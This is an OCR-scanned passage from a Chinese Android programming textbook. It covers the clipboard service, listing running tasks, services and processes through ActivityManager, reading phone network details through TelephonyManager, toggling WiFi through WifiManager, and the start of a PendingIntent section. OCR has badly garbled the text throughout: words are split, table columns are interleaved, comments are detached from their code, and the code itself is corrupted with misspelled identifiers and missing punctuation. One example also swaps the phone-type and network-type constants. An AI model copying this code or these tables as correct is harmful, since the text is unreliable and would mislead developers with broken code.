super.getSystemService(Context.CLIPBOARD_SERVICE); /取得 剪贴 板 
clipboardManager.setText(" 北 京 魔 乐 科技 软件 学 院 “MLDN)“"); /设置 剪贴 板 中 的 内 容 
} 
} 
在 本 程序 中 ， 直 接 利 用 了 getSystemService() 方 法 取得 了 剪贴 板 服务 ， 之 后 向 剪贴 板 中 保存 了 
个 字符 串 ， 这 样 以 后 在 文本 编辑 框 中 直接 选择 “粘贴 ”选项 即 可 进行 文本 显示 ， 如 图 9-43 所 示 。 


北京 磊 乐 科技 软件 学 院 ( MLDN ) 


QWIERTONYULTOP 
AlSlD NIE Ss nN I 


ZXCVBNMS 


中 文 ?123 


(a) 长 按 出 现 菜 单 (Cb) 选择 粘贴 
图 9-43 ”操作 剪贴 板 
2. 取得 正在 运行 的 进程 信息 
Android 手机 由 于 采用 了 多 任务 的 设计 ， 所 以 可 以 同时 运行 多 个 Activity 程序 ， 而 如 果 要 想 
取得 这 些 Activity 程序 的 信息 ， 就 可 以 通过 ACTIVITY_SERVICE 服务 取得 所 有 运行 的 程序 , 但 
是 此 时 通过 super.getSystemService() 方 法 取得 的 服务 对 象 的 类 型 为 android.app.ActivityManager， 
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此 类 的 常用 方法 如 表 9-26 所 示 。 
表 9-26 _ ActivityManager 类 的 常用 方法 
No. 方 ” 法 描述 
blic List<ActivityManagerRunnin ProcessInfo> n ed i 
| AP VEE HR Hh HE ADP oe 取得 所 有 正在 运行 的 进程 信息 
getRunningAppProcesses() 
blic List<ActivityManager RunningServiceInfo> We 
ee 取得 指定 个 数 的 服务 信息 
getRunnineServices(int maxNum 
3 public ES Memmi Ronning Yesk ib> 取得 指定 个 数 的 任务 信息 
getRunningTasks(int maxNum) 
证 public void killBackgroundProcesses (String 销毁 一 个 后 台 进 程 ， 必 须 设置 KILL_ 
|packageName) BACKGROUND PROCESSES 权限 
5 |public ConfigurationInfo getDeviceConfigurationInfo() 取得 设备 的 配置 信息 


通过 表 9-26 可 以 发 现 ， 当 使 用 ActivityManager 类 取得 任务 信息 时 有 3 个 方法 。 
getRunningTasks(): 返回 List<ActivityManager.RunningTaskInfo> 对 象 。 
getRunningServices(): 返回 List<ActivityManager.RunningServiceInfo> 对 象 。 
getRunningAppProcesses(): 返回 List<ActivityManager.RunningAppProcessInfo> 对 象 。 

以 上 3 个 方法 返回 的 都 是 集合 数据 , 而 且 通过 文档 可 以 发 现 , ActivityManagerRunningTaskInfo、 


ActivityManager.RunningServiceInfo、ActivityManager.RunningAppProcessInfo 都 是 在 ActivityManager 
内 部 使 用 static 定义 的 内 部 类 ， 下 面 分 别 使 用 这 3 个 对 象 取 得 后 台 的 进程 信息 。 


不 ， 


(1) 取得 所 有 正在 运行 的 Activity 程序 一 一 ActivityManager.RunningTaskInfo 
每 一 个 正在 运行 的 Activity 程序 信息 都 会 使 用 ActivityManager.RunningTaskInfo 类 的 对 象 表 
用 户 可 以 通过 此 类 提供 的 属性 来 取得 Activity 程序 的 信息 ， 这 些 常 用 属性 如 表 9-27 所 示 。 


表 9-27 ActivityManager.RunningTasklnfo 类 的 常用 属性 


属 性 描述 


No. 
1 _|public ComponentName baseActivil 取得 程序 运行 开始 的 Activity 
2_ |public CharSequence description 取得 该 Activity 的 描述 信息 
3 |public intid 取得 任务 的 唯一 ID 
4 |public int numActivities 取得 所 有 运行 的 Activity 数量 ， 包 括 已 经 停止 的 
5_|public intnumRunning 取得 所 有 运行 的 Activity 数量 ， 不 包含 已 经 停止 的 
6 |public Bitmap thumbnail 取得 任务 的 图 标 
7 |public ComponentName topActivity 取得 当前 用 户 正 在 操作 的 Activity 信息 


下 面 通过 一 个 程序 ， 将 所 有 正在 运行 的 Activity 程序 取出 ， 并 且 使 用 ListView 进行 显示 。 
【 例 9-75】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlIns:android="http:/schemas.android.com/apK/res/android™" 
android:orientation="vertical” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<ListView // 定 义 ListView 组 件 
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android:id="@+id/tasklist” 


1/ 组件 ID， 程 序 中 使 用 


android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” /> // 组 件 高 度 为 内 容 高 度 
</LinearLayout> 
【 例 9-76】 定义 Activity 程序 ， 采 用 列表 显示 所 有 运行 的 Activity 程序 


package org.Ixh.demo; 
import java.util.ArrayList; 
import java_.util.lterator; 
import java.util.List; 
import android.app.Activity; 
import android.app.ActivityManager; 
import android.content.Context; 
import android.os.Bundle; 
import android.widget.ArrayAdapter 
import android.widget.ListAdapter 
import android.widget.ListView; 
public class MyActivityRunDemo extends Activity { 
private ActivityManager activityManager = null; 
private ListAdapter adapter = null; 
private List<String> all = new ArrayList<String>(); 
private ListView tasklist = null; 
private List<ActivityManager.RunningTasklnfo> allTasklnfo; 
@Override 
public void onCreate(Bundle savedInstanceState) { 
Super.onCreate(savedlnstanceState); 
super.setContentView(R.layout.main); 
this .tasklist = (ListView) super .findViewBylId(R.id.tasklist); 
this.activityManager = (ActivityManager) super 


/ActivityManager 对 象 
// 适 配器 组 件 

/保存 信 息 

/ListView 组 件 

/所 有 任务 信息 


/默认 布 局 管理 器 
// 取 得 组 件 


.getSystemService(Context.ACTIVITY_SERVICE); // 取 得 运行 的 服务 


this .listActivity(); 


} 
public void listActivity() { 


this.allTasklnfo = this.activityManager.getRunningTasks(30); / 取 回 30 笔 任 务 数量 
lterator<ActivityManager.RunningTasklnfo> iterlnfo = allTaskInfo 


.iterator(); 
while (iterlnfo.hasNext()){ 
ActivityManager.RunningTasklnfo task = iterlnfo.next(); 
this.all.add(" [ID="+taskid+" 】 " 
+ task.baseActivity.getClassName()); 
} 
this.adapter = new ArrayAdapter<String>(this, 
android.R.layout.simple_list_item_1, 
MyActivityRunDemo.this.all); 
this.tasklist.setAdapter(MyActivityRunDemo.this.adapter); 
} 
} 


/实例 化 lterator 对 象 
// 迁 代 输 出 
/取出 每 一 个 对 象 


// 追 加 数据 


/实例 化 ArrayAdapter 
// 定 义 布局 文件 

// 定 义 显 示 数 据 

/设置 数据 


本 程序 首先 通过 getSystemService() 方 法 取得 了 一 个 ACTIVITY SERVICE 对 应 的 ActivityManager 
对 象 信息 , 而 后 利用 ActivityManager 类 的 getRunningTasks() 方 法 取得 每 一 个 正在 运行 的 Activity 
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任务 信息 ， 并 将 其 设置 到 ListView 中 显示 ， 程 序 运行 
后 , 会 根据 手机 的 运行 情况 显示 不 同 的 信息 , 本 次 运行 


的 效果 如 图 9-44 所 示 。 1 
(2) 取得 后 台 运 行 的 服务 信息 一 一 ActivityManager. MYyAcH Vty RUN Demo 


【ID =2 】com.android. 
RunningServiceInfo launcher2.Launcher 


在 一 个 Android 系统 中 会 有 许多 后 台 运 行 的 服务 , 而 每 

-个 后 台 的 服务 都 使 用 ActivityManagerRunningServiceInfo 

类 的 对 象 表示 ， 用 户 可 以 通过 此 类 提供 的 属性 取得 后 台 的 服务 信息 ， 这 些 常用 的 属性 如 表 9-28 
所 示 。 


图 9-44 取得 正在 运行 的 Activity 程序 信息 


表 9-28 ActivityManager.RunningServicelnfo 类 的 常用 属性 
属 性 描述 
public long activeSince 服务 从 启动 到 现在 所 运行 的 时 间 
ublic int clientCount 返回 连接 到 此 服务 的 客户 端 数 量 
返回 该 服务 在 运行 中 的 死机 次 数 
如 果 为 tme 则 表示 服务 在 后 台 运 行 
最 后 一 个 Activity 与 服务 的 绑 定时 间 


服务 的 ID， 如 果 不 是 0 则 表示 正在 运行 
取得 服务 的 名 称 

如 果 不 为 0， 则 表示 不 是 运行 中 的 服务 , 预 
计 会 在 指定 的 时 间 内 启动 


取得 服务 的 组 件 对 象 


属性 若 服务 正在 运行 则 此 值 为 tue 


服务 的 UID 


下 面 继续 使 用 程序 取得 后 台 运行 的 Service 程序 ， 并 且 使 用 ListView 返回 数据 ， 另 外 ， 本 程序 


public long restarting 属性 


所 使 用 的 布局 管理 器 依然 为 例 9-75 中 的 main .xml 文件 ， 所 以 不 再 重复 列 出 ， 只 列 出 Activity 程序 。 
【 例 9-77】 定义 Activity 程序 ， 显 示 所 有 的 后 台 服 务 
package org.Ixh.demo; 
import java.util.ArrayList; 
import java.util. Iterator; 
import java.util.List; 
import android.app.Activity; 
import android.app.ActivityManager; 
import android.content.Context; 
import android.os.Bundle; 
import android.widget.ArrayAdapter; 
import android.widget.ListAdapter; 
import android.widget.ListView; 
public class MyActivityRunDemo extends Activity { 


private ActivityManager activityManager = null; JWActivityManager 对 象 
private ListAdapter adapter = null; // 适 配器 组 件 

private List<String> all = new ArrayList<String>(); /保存 信息 

private ListView tasklist = null; /ListView 组 件 
private List<ActivityManager.RunningServicelnfo> allServices; /所 有 任务 信息 
@Override 
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public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); /默认 布局 管理 器 
this tasklist = (ListView) super.findViewByld(R.id.tasklist); // 取 得 组 件 
this.activityManager = (ActivityManager) super 
.getSystemService(Context.ACTIVITY_SERVICE); /取得 运行 的 服务 
this .listActivity(); 
} 
public void listActivity() { 
this.allServices = this activityManager.getRunningServices(30); /30 笔 任 务 数量 
lterator<ActivityManager.RunningServicelnfo> iterlnfo = allServices 
.iterator(); /实例 化 lterator 对 象 
while (iterlnfo.hasNext()){ /迭代 输出 
ActivityManager.RunningServicelnfo service = iterlnfo.next(); /每 一 个 对 象 
this.all.add(" 【ID = "+ service.pid+ "】 ” 


+ service.process); // 追 加 数据 
} 
this.adapter = new ArrayAdapter<String>(this, /实例 化 ArrayAdapter 
android.R.layout.simple_list_item_1, // 定 义 布局 文件 
MyActivityRunDemo.this.all); // 定 义 显 示 数 据 


this .tasklist.setAdapter(MyActivityRunDemo.this.adapter); 1/ 设 置 数 据 
} 


本 程序 的 功能 与 上 一 程序 的 功能 类 似 ， 唯 一 不 同 的 是 调 CE 
用 ActivityManager 类 中 的 getRunningServices() 方 法 取得 了 全 3 


部 后 台 运 行 的 服务 , 而 后 将 此 服务 的 信息 设置 到 ListView 中 【ID = 118 ) com.android. 
inputmethod.pinyin 


进行 显示 。 由 于 手机 的 运行 环境 不 同 ， 最 终 显示 正在 运行 服 ES 
务 的 内 容 也 不 同 ， 而 本 次 程序 的 运行 效果 如 图 9-45 所 示 。 inputmethod.pinyin 
(3) 取得 所 有 正在 运行 的 进程 信息 一 一 ActivityManager. re 

RunningAppProcessInfo 

在 Android 系统 中 , 除了 之 前 取出 的 正在 运行 的 Activity ha 
和 Service 之 外 , 还 存在 许多 其 他 的 进程 信息 , 如 时 钟 、 Email 
等 ， 每 一 个 进程 在 Android 中 都 可 以 通过 ActivityManager. TD onandrold shone 
RunningAppProcessInfo 类 的 对 象 来 进行 表示 , 用 户 也 可 以 使 图 9-45 取得 正在 运行 的 服务 
用 此 类 的 属性 来 取得 这 些 进 程 的 信息 ， 常 用 的 属性 及 常量 如 


表 9-29 所 示 。 


表 9-29 ActivityManager.RunningAppProcesslnfo 类 的 常用 属性 及 常量 


属性 | 取得 进程 的 重要 性 代码 


public int importance 


属性 | 取得 进程 的 重要 性 原因 代码 


1 
2 |public int importanceReasonCode 
3 


public ComponentName importanceReasonComponent 属性 | 取得 进程 重要 性 原因 的 客户 端 组 件 


取得 进程 重要 性 原因 的 客户 端 进程 
ID， 如 果 是 0 则 表示 没有 客户 端 使 
用 此 进程 


4 |public int importanceReasonPid 属性 
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描述 
取得 进程 的 PID 
取得 所 有 已 经 加 载 到 进程 的 程序 包 
取得 进程 的 名 称 
进程 重要 性 代码 : 表示 在 后 台 运行 
进程 重要 性 代码 : 没有 程序 执行 此 
进程 
进程 重要 性 代码 : 此 进程 运行 在 前 
公 
进程 重要 性 代码 : 此 进程 正在 运行 
进程 重要 性 代码 : 此 进程 是 继续 保 
持 运 行 的 服务 
进程 重要 性 代码 : 该 线程 还 没有 运 
行 在 前 台 ， 但 是 正 准备 在 前 台 运行 


5 |public int pid 

6 |public String[] pkgList 

7__|public String processName 

8 ublic static final int IMPORTANCE BACKGROUND 


9 |public static final int IMPORTANCE EMPTY 


10 |public static final int IMPORTANCE FOREGROUND 


11 |public static final int IMPORTANCE PERCEPTIBLE 


12 |public static final int IMPORTANCE SERVICE 


13 |public static final int IMPORTANCE VISIBLE 


下 面 通过 一 个 程序 取得 正在 运行 的 全 部 进程 信息 ， 本 程序 在 之 前 程序 基础 上 进行 修改 ， 布 

局 管理 器 (main.xml) 与 上 一 程序 完全 一 样 。 
【 例 9-78】 定义 Activity 程序 ， 取 得 所 有 的 进程 信息 

package org.Ixh.demo; 

import java.util.ArrayList; 

import java.util. Iterator; 

import java.util.List; 

import android.app.Activity; 

import android.app.ActivityManager; 

import android.content.Context; 

import android.os.Bundle; 

import android.widget.ArrayAdapter; 

import android.widget.ListAdapter 

import android.widget.ListView; 

public class MyActivityRunDemo extends Activity { 


private ActivityManager activityManager = null; JWActivityManager 对 象 
private ListAdapter adapter = null; // 适 配器 组 件 

private List<String> all = new ArrayList<String>(); /保存 信息 

private ListView tasklist = null; //ListView 组 件 
private List<ActivityManager.RunningAppProcesslnfo> allApp; /所 有 任务 信息 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); // 上 默认 布 局 管理 器 
this tasklist = (ListView) super .findViewByld(R.id.tasklist); /取得 组 件 
this.activityManager = (ActivityManager) super 

.getSystemService(Context.ACTIVITY_SERVICE);”// 取 得 运行 的 服务 

this .listActivity(); 

b 

public void listActivity() { 
this.allApp = this.activityManager.getRunningAppProcesses(); ” // 取 回 任务 
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lterator<ActivityManager-RunningAppProcesslnfo> iterlnfo = allApp 
.iterator(); /实例 化 lterator 对 象 
while (iterlnfo.hasNext()){ 1/ 迭代 输出 
ActivityManager.RunningAppProcesslnfo app = iterlnfo.next(); // 每 一 个 对 象 
this.all.add(" [ID="+app.pid+" 】" 


+ app.processName); // 追 加 数据 
} 
this.adapter = new ArrayAdapter<String>(this, /实例 化 ArrayAdapter 
android.R.layout.simple_Jist_item_1， /定义 布局 文件 
MyActivityRunDemo.this.all); // 定 义 显示 数据 


this .tasklist.setAdapter(MyActivityRunDemo.this.adapter); // 设 置 数据 
} 
} 
本 程序 使 用 ActivityManager 类 的 getRunningAppProcesses() 方 法 取得 了 所 有 正在 运行 的 进程 
祝 息 ， 而 后 使 用 ListView 保存 所 有 的 进程 信息 ， 由 于 手机 运行 环境 的 不 同 ， 进 程 的 信息 也 不 同 ， 
本 程序 的 运行 效果 如 图 9-46 所 示 。 


【ID = 387 】 org.Ixh.demo 


【ID = 130 】com.android. 
launcher 


【ID = 334 】 com.uc.browser 


【ID = 277 】com.android. 
quicksearchbox 


【ID = 321 】 com.svox.pico 


【ID = 118 】 com.android. 
inputmethod.pinyin 


【ID = 61 】system 


图 9-46 取得 全 部 运行 的 进程 
3. 取得 手机 网 络 信息 
在 Android 中 ， 用 户 可 以 直接 使 用 getSystemService0 方 法 通过 ContextTELEPHONY SERVICE 
取得 手机 网 络 的 相关 信息 ， 而 当 通 过 指定 的 服务 名 称 取得 服务 对 象 时 ， 返 回 的 类 型 是 android. 
telephony.TelephonyManager 类 的 对 象 ， 而 后 用 户 可 以 直接 使 用 此 类 中 的 方法 取得 网 络 的 相关 信 
息 ， 此 类 的 常用 常量 及 方法 如 表 9-30 所 示 。 


表 9-30 TelephonyManager 的 常用 常量 及 方法 
常量 及 方法 
public static final int NETWORK _ TYPE_ CDMA 
public static final int NETWORK _ TYPE _ GPRS 


public static final int PHONE TYPE CDMA 
public static final int PHONE TYPE GSM 


用 CDMA 网 络 
日 GPRS 网 络 
日 CDMA 通信 
GSM 通信 
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常量 及 方法 


public String getLinelNumber0 取得 手机 号 码 
public String getNetworkOperatorName0) | 取得 移动 提供 商 的 名 称 


public int getNetworkType0) 


public int getPhoneType0) 


取得 移动 网 络 的 连接 类 型 
取得 电话 网 络 类 型 


wom lo lv 


public boolean isNetworkRoamingO 


| 判断 电话 是 否 处 于 漫游 状态 


public void listen 


PhoneStateListener listener, int events) 


注册 电话 状态 监听 器 


为 了 方便 读者 进行 信息 的 浏览 ， 下 面 使 用 ListView 列 出 手机 网 络 的 一 些 相 关 信息 。 


【 例 9-79】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout 


// 线 性 布局 管理 器 


xmlns:android="http:/schemas.android.com/apK/res/android”" 


android:orientation="vertica/" 
android:layout_width="fill_parent”" 
android:layout_height="fil|_parent"> 
<ListView 
android:id="@+id/infolist" 
android:layout_width="fil/_parent”" 
android:layout_height= "wrap_content"/> 
</LinearLayout> 
【 例 9-80】 定义 Activity 程序 ， 显 示 网 络 信息 
package org.Ixh.demo; 
import java.util.ArrayList; 
import java.util.List; 
import android.app.Activity; 
import android.content.Context; 
import android.os.Bundle; 
import android.telephony.TelephonyManager; 
import android.widget.ArrayAdapter; 
import android.widget.ListAdapter 
import android.widget.ListView'; 


public class MyTelephoneManagerDemo extends Activity { 


private ListView infolist = null; 
private TelephonyManager manager = null; 
private ListAdapter adapter = null; 


private List<String> all = new ArrayList<String>(); 


@Override 


public void onCreate(Bundle savedInstanceState) { 


super.onCreate(savedInstanceState); 

super.setContentView(R.layout.main); 

this.infolist = (ListView) super 
findViewByld(R.id.infolist); 


this.manager = (TelephonyManager) super 
.getSystemService(Context. TELEPHONY_SERVICE); 


this .list(); 


/所 有 组 件 垂 直 摆 放 

// 布 局 管理 器 宽度 为 屏幕 宽度 
// 布 局 管理 器 高 度 为 屏幕 高 度 
/ListView 组 件 

1/ 组件 ID， 程 序 中 使 用 

// 组 件 宽度 为 屏幕 宽度 

// 组 件 高 度 为 自身 内 容 高 度 


/ListView 列表 
// 手 机 管理 器 
// 适 配器 组 件 
/保存 信 息 


// 调 用 布局 管理 器 
/取得 组 件 


/取得 手机 服务 
// 列 表 显示 
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private void list() { // 执 行列 表 显 示 操作 


} 
} 


this.all.add(this.manager.getLine1Number() == null ? "没有 手机 号 码 " : "手机 号 码 : " 
+this.manager.getLine1Number()); // 取 得 手机 号 码 
this.all.add(this.manager.getNetworkOperatorName() == null ? 
"没有 移动 服务 商 " : "移动 服务 商 : " 
this.manager.getNetworkOperatorName()); // 取 得 移动 商 名 称 
if (this.manager.getPhoneType() 
== TelephonyManager.NETWORK_TYPE_CDMA) { /判断 网 络 类 型 
this.all.add(" 移 动 网 络 : CDMA"); 
} else if (this.manager.getPhoneType() == TelephonyManager.NETWORK_TYPE_GPRS){ 
this .alladd(" 移 动 网 络 : GPRS"); 
}else{ 
this.all.add(" 移 动 网 络 : 未 知 "); 


if (this.manager.getNetworkType() == 
TelephonyManager.PHONE_TYPE_GSM) { /| 判断 电话 网 络 类 型 
this.all.add(" 网 络 类 型 : GSM"); 


} else if (this.manager.getNetworkType() == TelephonyManager.PHONE_TYPE_CDMA) 


this.all.add(" 网 络 类 型 : CDMA"); 
}else{ 
this.all.add(" 网 络 类 型 :未 知 "); 


} 
this.all.add(" 是 否 漫游 : " + (this.manager.isNetworkRoaming() 


? "漫游 " : " 非 漫游 )); /是否 是 漫游 
this.adapter = new ArrayAdapter<String>(this, /实例 化 ArrayAdapter 

android.R.layout.simple_Jist_item_1， /定义 布局 文件 

this all); // 定 义 显示 数据 
this.infolist.setAdapter(this.adapter); /设置 数据 


本 程序 首先 使 用 super.getSystemService(ContextTELEPHONY SERVICE) 方 法 取得 了 
TelephonyManager 类 的 对 象 ， 而 后 利用 此 对 象 中 的 各 个 方法 取得 手机 号 码 、 移 动 网 络 服务 商 等 与 
手机 网 络 有 关 的 信息 ， 而 不 同 的 手机 环境 最 终 的 显示 效果 也 不 一 样 ， 本 程序 的 运行 效果 如 图 9-47 


所 示 。 


4. 取得 WiFi 操作 


WiFi (Wireless Fidelity， 其 标志 如 图 9-48 所 示 ) 是 一 种 可 以 将 各 种 移动 设备 〈 手 机 、 笔 记 
本 、PDA) 以 无 线 方式 进行 连接 的 通信 技术 ， 主 要 的 目的 是 改善 基于 IEEE 802.11 标准 的 无 线 网 
络 产品 之 间 的 互通 性 。 


y 
让 提示 


什么 是 802.11? 
802.11 是 IEEE ( Institute of Electrical and Electronics Engineers， 美 国电 气 和 电子 工程 师 
协会 ) 汪汪 人 三 福全 的 标准 ， 主 要 用 于 解决 局 域 网 的 无 线 连 接 问题 ， 最 高 连接 速 


去 
诛 只 能 


达到 2Mbps。 
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(Context.WIFI SERVICE) 方 法 


WiFi 


手机 号 码 : 15555215554 


移动 服务 商 : Android 


移动 网 络 : GPRS 


网 络 类 型 : 未 知 


是 否 漫游 : 非 漫游 
图 9-47 取得 网 络 信 息 图 9-48 ”WiFi 标志 
在 Android 操作 系统 中 , 很 好 地 支持 了 WiFi 的 操作 功能 , 用 户 只 需要 通过 getSystemService 
就 可 以 取得 一 个 android.net.wifi.WifiManager 类 的 对 象 ， 从 而 进行 
操作 。WifiManager 类 提供 的 常用 常量 及 方法 如 表 9-31 所 示 。 


表 9-31 WifiManager 类 提供 的 常用 常量 及 方法 


No. 常量 及 方法 类 型 描述 
public static final int WIFI STATE _ DISABLED 已 关闭 WiFi 连接 ， 数 值 为 1 
2 ublic static final int WIFI STATE DISABLING 正在 关闭 WiFi 连接 ， 数 值 为 0 
3 public static final int WIFI STATE _ ENABLED 已 启用 WiFi 连接 ， 数 值 为 3 
4 public static final int WIFI STATE ENABLING 正在 启用 WiFi 连接 ， 数 值 为 2 
5 public static final int WIFI STATE_UNKNOWN 常量 未 知 的 WiFi 状态 ， 数 值 为 4 
_ 权 设置 WiFi 是 否 启用 ，tmue 为 启 

6 public boolean setWifiEnabled(boolean enabled) 普通 用 ，false 为 关闭 

public boolean isWifiEnabledO 普通 返回 启用 状态 

public boolean reconnect 普通 重新 连接 接 入 点 网 络 

public boolean disconnect 普通 断 开 当前 接 入 点 
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public int getWifiStateO 普通 


下 面 使 用 WifiManager 类 完成 一 个 简单 的 打开 和 关闭 操作 。 
【 例 9-81】 定义 布局 文件 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlns:android="http:/schemas.android.com/apk/res/android" 
android:orientation="vertical” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 的 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 的 高 度 为 屏幕 高 度 
<TextView // 文 本 显示 组 件 ， 用 于 信息 显示 

android:id="@+id/msg” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent”" // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content" /> // 组 件 高 度 为 文字 高 度 


437 


名 师 讲坛 一 一 Android 开发 实战 经 典 


<Button // 按 钮 组 件 
android:id="@+id/open”" /组件 ID， 程 序 中 使 用 
android:layout_width="fill_parent”" // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text="#7 了 WIFI" /> /默认 文字 

<Button /按钮 组 件 
android:id="@+id/close" // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text=" 夫 万 WWF1"/> /默认 文字 

<Button /按钮 组 件 
android:id="@+id/check” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fil|_parent”" // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content”" // 组 件 高 度 为 文字 高 度 
android:text=" 夫 得 JWFI 兴 栓 " /> /默认 文字 

</LinearLayout> 


在 本 布局 管理 器 中 ， 定 义 了 3 个 按钮 组 件 ， 以 进行 WiFi 操作 ， 而 所 有 的 操作 状态 都 会 在 文 

本 显示 组 件 上 显示 。 
【 例 9-82】 定义 Activity 程序 ， 完 成 WiFi 操作 

package org.Ixh.demo; 

import android.app.Activity; 

import android.content.Context; 

import android.net.wifi.Wifi Manager; 

import android.os.Bundle; 

import android.view.View; 

import android.view.View.OnClickListener 

import android.widget.Button; 

import android.widget. TextView; 

public class WifiDemo extends Activity { 


private Button open = null; /按钮 组 件 
private Button close = null; /按钮 组 件 
private Button check = null; /按钮 组 件 
private TextView msg = null; /文本 组 件 
private WifiManager wifiManager = null; JWWiFi 管理 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 配 置 布局 管理 器 
this.open = (Button) super .findViewByld(R.id.open); // 取 得 组 件 
this.close = (Button) super.findViewByld(R.id.close); // 取 得 组 件 
this.check = (Button) super.findViewByld(R.id.check); // 取 得 组 件 
this.msg = (TextView) super.findViewByld(R.id.msg); // 取 得 组 件 
this.wifiManager = (WifiManager) super 
.getSystemService(Context. WIF!_SERVICE); /取得 WiFi 服务 

this.open.setOnClickListener(new OnClickListener() { 

@Override 


public void onClick(View view) { 
WifiDemo.this.wifiManager.setWifiEnabled(true); /启用 WiFi 
WifiDemo.this.msg.setText(" 打 开 WIFI， 状 态 : " 
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+ WifiDemothis.wifiManager.getWifiState()); /设置 文字 


)); 
this.close.setOnClickListener(new OnClickListener() { 
@Override 
public void onClick(View view) { 
WifiDemo.this.wifiManager.setWifiEnabled(false);”// 关 闭 WIFI 
WifiDemo.this.msg.setText(" 关 闭 WIFI， 状 态 : " 
+ WifiDemo .this.wifiManager.getWifiState()); /设置 文字 
} 
D); 
this.check.setOnClickListener(new OnClickListener() { 
@Override 
public void onClick(View view) { 
WifiDemo.this.msg.setText(" 检 查 WIFI， 状 态 : " 
+ WifiDemo.this.wifiManager.getWifiState()); /设置 文字 
D); 


} 
} 


在 本 程序 中 ， 首 先 通 过 getSystemService() 方 法 取得 了 一 个 WiFi 的 服务 , 之 后 分 别 使 用 不 同 


的 按钮 进行 了 WiFi 的 操作 控 
由 于 WiEi 属于 手机 的 系 
【 例 9-83】 修改 AndroidManifest 
<?xml version="1.0" encoding="utf-8"?> 
<manifest xmIns:android="http:/schemas.android.com/apk/res/android" 


package="org./xh.demo” // 程 序 所 在 的 包 名 称 
android:versionCode="1" 1/ 程序 的 版 本 编号 
android:versionName="1.0"> // 程 序 的 版 本 名 称 
<uses-sdk android:minSdkVersion="10" /> // 程 序 的 最 低 运 行 版 本 
<application // 定 义 应 用 程序 
android:icon="@drawable/icon” // 程 序 图 标 
android:label="@string/app_name’> // 程 序 名 称 
<activity /| 定义 Activity 程序 
android:name=". WifiDemo” // 程 序 Activity 类 
android:label="@string/app_name'”> // 程 序 的 名 称 
<intent-filter> // 定 义 过 滤器 


<action android:name="android.intent.action.MAIN" /> 
<category android:name="android.intent.category.LAUNCHER" /> 


</intent-filter> 
</activity> 

</application> 
<uses-permission /改变 网 络 权限 

android:name="android.permission.CHANGE_NETWORK_STATE"/> 
<uses-permission /改变 WiFi 权限 

android:name='"android.permission.CHANGE WIFI!_STATE"/> 
<uses-permission // 访 问 网 络 权限 


android:name="android.permission.ACCESS_ NETWORK_STATE"/> 


制 ， 主 要 的 控制 方法 就 是 WifiManager 类 中 的 setWifiEnabled()。 
统 服务 , 所 以 要 想 正 确 地 使 用 WiFi, 必须 对 WiFi 的 使 用 进行 授权 。 
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<uses-permission /访问 WiFi 权限 
android:name="android.permission.ACCESS WIFI!_STATE"/> 
</manifest> 


本 程序 的 功能 只 是 负责 打开 WiFi 设备 的 连接 操作 , 但 是 在 模拟 器 上 是 不 存在 WiFi 设备 的 ， 
所 以 程序 的 运行 效果 需要 在 Android 手机 上 才 可 以 显现 出 来 。 


9.7 PendingIntent 


Intent 的 主要 功能 是 表示 用 户 的 一 种 操作 意图 , 使 用 Intent 之 后 将 立刻 执行 用 户 所 需要 的 操作 ， 
但 是 在 Android 中 也 提供 了 一 个 PendingIntent 操作 ， 表 示 将 要 发 生 的 操作 。 所 谓 将 要 发 生 的 Intent 
是 指 在 当前 的 Activity 不 立即 使 用 此 Intent 进行 处 理 ， 而 将 此 Intent 封装 后 传递 给 其 他 Activity 程 
序 ， 而 其 他 Activity 程序 在 需要 使 用 此 Intent 时 才 进 行 操作 ， 如 图 9-49 所 示 。PendingIntent 类 的 
定义 如 下 : 

public final class Pendinglntent 

extends Object implements Parcelable 


包装 
Co Si 


暂 不 执行 Pendinglntent 执行 


产生 某 一 事件 


图 9-49 PendingIntent 的 执行 


通过 定义 形式 可 以 发 现 ，PendingIntent 与 Intent 类 之 间 没 有 任何 继承 关系 ,所 以 这 两 个 类 表 
示 两 种 不 同 的 Intent 操作 。 在 PendingIntent 类 定义 的 常用 常量 及 方法 如 表 9-32 所 示 。 
表 9-32 PendinglIntent 类 提供 的 常用 常量 及 方法 
No. 常量 及 方法 描述 
重新 生成 一 个 新 的 PendingIntent 
对 象 
如 果 不 存在 PendingIntent 对 象 ， 
则 创建 一 个 新 的 
创建 的 PendingIntent 对 象 只 使 用 
-次 
如 果 PendingIntent 对 象 已 经 存 
在 ， 则 直接 使 用 ， 并 且 实 例 化 一 
个 新 的 Intent 对 象 
通过 PendingIntent 启动 一 个 新 的 


1 | public static final int FLAG CANCEL CURRENT 


2 | public static final int FLAG NO_CREATE 


3 | public static final int FLAG ONE SHOT 


4 | public static final int FLAG UPDATE CURRENT 


public static PendingIntent getActivity(Context 


a context, int requestCode, Intent intent, int flag Activil 

public static PendingIntent getBroadcast(Context 通过 PendingIntent 启动 一 个 新 的 
context, int requestCode, Intent intent, int flags) Broadcast 

public static PendingIntent getService(Context 通过 PendingIntent 启动 一 个 新 的 


context, int requestCode, Intent intent, int flags) Service 
